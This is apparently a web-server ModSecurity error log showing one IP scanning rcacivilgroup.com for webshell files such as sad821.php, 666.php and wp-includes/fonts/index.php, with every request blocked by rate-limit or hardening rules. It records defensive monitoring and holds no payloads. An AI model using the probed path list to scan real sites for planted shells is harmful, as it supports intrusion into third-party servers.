[Wed Apr 08 23:46:02.303755 2026] [:error] [pid 64066:tid 64089] [client 72.146.17.160:58147] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "adZ4OlR3WucJgr2vZGamxQAAAVQ"]
[Wed Apr 08 23:46:03.261999 2026] [:error] [pid 12386:tid 12423] [client 72.146.17.160:52091] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "adZ4OxLhhLtqHi2gK7UyfQAAAQc"]
[Wed Apr 08 23:46:04.564098 2026] [:error] [pid 64066:tid 64088] [client 72.146.17.160:41895] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "adZ4PFR3WucJgr2vZGamzAAAAVM"]
[Wed Apr 08 23:46:06.692827 2026] [:error] [pid 12490:tid 12516] [client 72.146.17.160:45427] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "adZ4Pm1Fea4F4fbumr1PvwAAANg"]
[Wed Apr 08 23:46:07.748687 2026] [:error] [pid 12490:tid 12501] [client 72.146.17.160:36478] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "adZ4P21Fea4F4fbumr1PxAAAAMk"]
[Wed Apr 08 23:46:08.602628 2026] [:error] [pid 12386:tid 12429] [client 72.146.17.160:41884] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "adZ4QBLhhLtqHi2gK7UymwAAAQ0"]
[Wed Apr 08 23:46:09.251934 2026] [:error] [pid 64066:tid 64071] [client 72.146.17.160:41130] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "adZ4QVR3WucJgr2vZGam6QAAAUI"]
[Wed Apr 08 23:46:10.000754 2026] [:error] [pid 64066:tid 64078] [client 72.146.17.160:61459] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8rd1.php"] [unique_id "adZ4QVR3WucJgr2vZGam7gAAAUk"]
[Wed Apr 08 23:46:10.851570 2026] [:error] [pid 12453:tid 12468] [client 72.146.17.160:41151] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8rd1.php"] [unique_id "adZ4QhjtW7S6XsLPvrRxUgAAAI0"]
[Wed Apr 08 23:46:11.879256 2026] [:error] [pid 64066:tid 64087] [client 72.146.17.160:48075] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8rd1.php"] [unique_id "adZ4Q1R3WucJgr2vZGam_QAAAVI"]
[Wed Apr 08 23:46:13.437200 2026] [:error] [pid 12453:tid 12474] [client 72.146.17.160:42219] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8rd1.php"] [unique_id "adZ4RRjtW7S6XsLPvrRxXAAAAJM"]
[Wed Apr 08 23:46:14.039488 2026] [:error] [pid 12490:tid 12506] [client 72.146.17.160:61441] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "adZ4Rm1Fea4F4fbumr1P2QAAAM4"]
[Wed Apr 08 23:46:15.980268 2026] [:error] [pid 35642:tid 35644] [client 72.146.17.160:62277] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "adZ4Rw-CqryxdEs5DN94pAAAAEA"]
[Wed Apr 08 23:46:17.012614 2026] [:error] [pid 7189:tid 7205] [client 72.146.17.160:42237] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "adZ4SRaBqhBSu0L37loCSgAAAc4"]
[Wed Apr 08 23:46:18.272032 2026] [:error] [pid 7047:tid 7062] [client 72.146.17.160:51324] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "adZ4SuNh3oGO3pKiCzxYJgAAAY0"]
[Wed Apr 08 23:46:19.357845 2026] [:error] [pid 35642:tid 35648] [client 72.146.17.160:37177] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "adZ4Sw-CqryxdEs5DN94qgAAAEQ"]
[Wed Apr 08 23:46:20.046250 2026] [:error] [pid 12490:tid 12492] [client 72.146.17.160:62050] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "adZ4TG1Fea4F4fbumr1P_QAAAMA"]
[Wed Apr 08 23:46:21.156787 2026] [:error] [pid 12490:tid 12499] [client 72.146.17.160:51266] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "adZ4TW1Fea4F4fbumr1QCgAAAMc"]
[Wed Apr 08 23:46:37.415633 2026] [:error] [pid 12453:tid 12458] [client 72.146.17.160:58161] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "adZ4XRjtW7S6XsLPvrRxjQAAAIM"]
[Wed Apr 08 23:46:38.149039 2026] [:error] [pid 64066:tid 64079] [client 72.146.17.160:50959] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "adZ4XlR3WucJgr2vZGanfAAAAUo"]
[Wed Apr 08 23:46:39.057388 2026] [:error] [pid 12386:tid 12429] [client 72.146.17.160:4048] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "adZ4XxLhhLtqHi2gK7UytQAAAQ0"]
[Wed Apr 08 23:46:39.976098 2026] [:error] [pid 12490:tid 12502] [client 72.146.17.160:34566] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "adZ4X21Fea4F4fbumr1QWQAAAMo"]
[Wed Apr 08 23:46:40.871347 2026] [:error] [pid 7189:tid 7193] [client 72.146.17.160:43057] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "adZ4YBaBqhBSu0L37loCYwAAAcI"]
[Wed Apr 08 23:46:41.617261 2026] [:error] [pid 12490:tid 12507] [client 72.146.17.160:34604] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "adZ4YW1Fea4F4fbumr1QagAAAM8"]
[Wed Apr 08 23:46:42.673952 2026] [:error] [pid 12490:tid 12493] [client 72.146.17.160:62945] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "adZ4Ym1Fea4F4fbumr1QbwAAAME"]
[Wed Apr 08 23:46:43.849468 2026] [:error] [pid 7189:tid 7209] [client 72.146.17.160:43027] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "adZ4YxaBqhBSu0L37loCagAAAdI"]
[Wed Apr 08 23:46:44.658109 2026] [:error] [pid 12386:tid 12432] [client 72.146.17.160:3746] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adZ4ZBLhhLtqHi2gK7UyvgAAARA"]
[Wed Apr 08 23:46:45.436679 2026] [:error] [pid 64066:tid 64092] [client 72.146.17.160:3720] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adZ4ZVR3WucJgr2vZGanngAAAVc"]
[Wed Apr 08 23:46:46.400172 2026] [:error] [pid 12386:tid 12431] [client 72.146.17.160:3955] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adZ4ZhLhhLtqHi2gK7UywwAAAQ8"]
[Wed Apr 08 23:46:48.380888 2026] [:error] [pid 7047:tid 7068] [client 72.146.17.160:33965] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adZ4aONh3oGO3pKiCzxYTwAAAZM"]
[Wed Apr 08 23:46:49.494251 2026] [:error] [pid 12453:tid 12463] [client 72.146.17.160:53137] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "adZ4aRjtW7S6XsLPvrRxpwAAAIg"]
[Wed Apr 08 23:46:51.451592 2026] [:error] [pid 12490:tid 12507] [client 72.146.17.160:45485] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "adZ4a21Fea4F4fbumr1QhQAAAM8"]
[Wed Apr 08 23:46:52.459507 2026] [:error] [pid 64066:tid 64083] [client 72.146.17.160:39460] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "adZ4bFR3WucJgr2vZGantwAAAU4"]
[Wed Apr 08 23:46:54.279136 2026] [:error] [pid 12453:tid 12474] [client 72.146.17.160:45065] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "adZ4bhjtW7S6XsLPvrRxsAAAAJM"]
[Wed Apr 08 23:46:55.375599 2026] [:error] [pid 7189:tid 7213] [client 72.146.17.160:54005] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "adZ4bxaBqhBSu0L37loCewAAAdY"]
[Wed Apr 08 23:46:56.501037 2026] [:error] [pid 7189:tid 7203] [client 72.146.17.160:55512] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "adZ4cBaBqhBSu0L37loChQAAAcw"]
[Wed Apr 08 23:46:57.620199 2026] [:error] [pid 7047:tid 7066] [client 72.146.17.160:54231] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "adZ4ceNh3oGO3pKiCzxYVQAAAZE"]
[Wed Apr 08 23:46:59.436315 2026] [:error] [pid 12490:tid 12513] [client 72.146.17.160:60241] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "adZ4c21Fea4F4fbumr1QpAAAANU"]
[Wed Apr 08 23:47:00.160323 2026] [:error] [pid 12453:tid 12471] [client 72.146.17.160:57884] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "adZ4dBjtW7S6XsLPvrRxvwAAAJA"]
[Wed Apr 08 23:47:00.983550 2026] [:error] [pid 12386:tid 12431] [client 72.146.17.160:3879] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "adZ4dBLhhLtqHi2gK7Uy6wAAAQ8"]
[Wed Apr 08 23:47:02.320080 2026] [:error] [pid 12490:tid 12516] [client 72.146.17.160:55500] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "adZ4dm1Fea4F4fbumr1QrQAAANg"]
[Wed Apr 08 23:47:03.494262 2026] [:error] [pid 64066:tid 64084] [client 72.146.17.160:55520] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "adZ4d1R3WucJgr2vZGan0wAAAU8"]
[Wed Apr 08 23:47:13.955321 2026] [:error] [pid 12453:tid 12471] [client 72.146.17.160:39424] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "adZ4gRjtW7S6XsLPvrRx1AAAAJA"]
[Wed Apr 08 23:47:21.202835 2026] [:error] [pid 7189:tid 7209] [client 72.146.17.160:57886] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "adZ4iRaBqhBSu0L37loCogAAAdI"]
[Wed Apr 08 23:48:41.212510 2026] [:error] [pid 12490:tid 12505] [client 72.146.17.160:47050] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "adZ42W1Fea4F4fbumr1RyAAAAM0"]
[Wed Apr 08 23:48:45.298338 2026] [:error] [pid 12386:tid 12420] [client 72.146.17.160:34543] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "adZ43RLhhLtqHi2gK7UzfAAAAQQ"]
[Wed Apr 08 23:48:46.561202 2026] [:error] [pid 35642:tid 35658] [client 72.146.17.160:33445] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "adZ43g-CqryxdEs5DN95EQAAAE4"]
[Wed Apr 08 23:48:47.404877 2026] [:error] [pid 35642:tid 35665] [client 72.146.17.160:58600] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "adZ43w-CqryxdEs5DN95EgAAAFU"]
[Wed Apr 08 23:48:48.115957 2026] [:error] [pid 35642:tid 35650] [client 72.146.17.160:40698] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "adZ44A-CqryxdEs5DN95EwAAAEY"]
[Wed Apr 08 23:48:48.810678 2026] [:error] [pid 12490:tid 12500] [client 72.146.17.160:37772] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "adZ44G1Fea4F4fbumr1R0wAAAMg"]
[Wed Apr 08 23:48:50.137890 2026] [:error] [pid 64066:tid 64074] [client 72.146.17.160:50571] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "adZ44lR3WucJgr2vZGapXgAAAUU"]
[Wed Apr 08 23:48:51.102603 2026] [:error] [pid 12453:tid 12460] [client 72.146.17.160:56787] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-footer.php"] [unique_id "adZ44xjtW7S6XsLPvrRydAAAAIU"]
[Wed Apr 08 23:48:51.854756 2026] [:error] [pid 64066:tid 64075] [client 72.146.17.160:54987] [client 72.146.17.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "adZ441R3WucJgr2vZGapZQAAAUY"]
[Wed Apr 08 23:48:52.809777 2026] [:error] [pid 12453:tid 12457] [client 72.146.17.160:64461] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adZ45BjtW7S6XsLPvrRydwAAAII"]
[Wed Apr 08 23:48:53.532202 2026] [:error] [pid 12453:tid 12470] [client 72.146.17.160:59341] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adZ45RjtW7S6XsLPvrRyfQAAAI8"]
[Wed Apr 08 23:48:55.329536 2026] [:error] [pid 64066:tid 64091] [client 72.146.17.160:59367] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adZ451R3WucJgr2vZGapggAAAVY"]
